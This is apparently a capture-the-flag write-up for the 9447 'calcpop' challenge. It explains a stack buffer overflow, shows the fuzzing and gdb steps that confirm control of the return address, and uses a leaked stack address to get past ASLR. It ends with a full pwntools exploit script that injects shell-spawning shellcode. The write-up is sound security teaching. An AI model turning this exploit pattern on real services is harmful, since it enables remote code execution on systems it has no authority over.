For this challenge we're given a file called calcpop
. Running it puts us in an interactive shell,
where typing help
gives us the following output:
➜ 9447 ./calcpop
Welcome to calc.exe
help
Type 'exit' to exit.
Type two numbers and I will calculate their sum
Simple enough, if we disassemble the program we note that everything is handled in a single function,
and that typing in exit
returns out of it. We can also see that the function allocates 0x90 for the
stack frame
Dump of assembler code for function main:
...
0x0804846e <+14>: sub $0x90,%esp
Now let's try breaking it. Starting off with 144 characters, I tried upping it until I could cause a segfault. I ran
python -c "print 'A' * 144" > input.txt; echo "exit" >> input.txt
./calcpop < input.txt
and eventually at 156 characters we encounter a segfault. This was later confirmed to me by a teammate who pointed that the main preamble was saving the state of 3 registers on the stack which points to this figure exactly.
To confirm that we were overriding the return instruction I ran
python -c "print ('A' * 156) + '\xEF\xBE\xAD\xDE'" > input.txt; echo "exit" >> input.txt
and then ran the program through gdb
➜ 9447 gdb calcpop
(gdb) run < input.txt
Starting program: /home/ammar/shared/CTF/9447/calcpop < input.txt
Welcome to calc.exe
Missing a space; your input was 0xffffd540
Exiting...
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
Success. Now it's just a simple matter of beating ASLR. In the output of the program you might note an interesting line.
Missing a space; your input was 0xffffd540
. Could it be? An address leak built into the program?
Let's run it through gdb and find out:
(gdb) break *0x0804860b
Breakpoint 2 at 0x804860b: file calcpop.c, line 46.
(gdb) run
Starting program: /home/ammar/shared/CTF/9447/calcpop
Welcome to calc.exe
abcd
Missing a space; your input was 0xffffd540
exit
Exiting...
Breakpoint 2, main () at calcpop.c:46
(gdb) x/s 0xffffd540
0xffffd540: "exit"
Looks like it is, our input ended up in the very same buffer. And since this is a local/stack variable, it's address shouldn't change while the function hasn't returned, and the only time it returns is when we use exit.
I wanted to dip my feet into using pwntools, so I wrote up a quick script to automate the leaking and all the steps.
import struct
from pwn import *
context(arch = 'i386', os = 'linux')
r = remote('calcpop-4gh07blg.9447.plumbing', 9447)
# Welcome message
log.info(text.yellow("Receiving welcome message: "))
log.info(text.bold_green(r.recvline()))
r.sendline("hi")
log.info(text.yellow("Grabbing leaked address"))
line = r.recvline().strip()
address = line[-10:]
log.info(text.bold_green("Leaked address: " + address))
address = int(address, 16)
shellcode_address = address + 6
log.info(text.cyan("Sending payload"))
# 6 bytes of padding, this is the part that get's overwritten by
# our 'exit' command
r.send("A" * 6)
# Shellcode
shellcode = asm(shellcraft.sh())
r.send(shellcode)
# Padding
r.send("A" * (156 - len(shellcode) - 6))
# Shellcode address in little endian
r.send(struct.pack("<I", shellcode_address))
r.send("\n")
log.info(text.cyan("Sending exit to execute payload"))
r.sendline("exit")
r.interactive()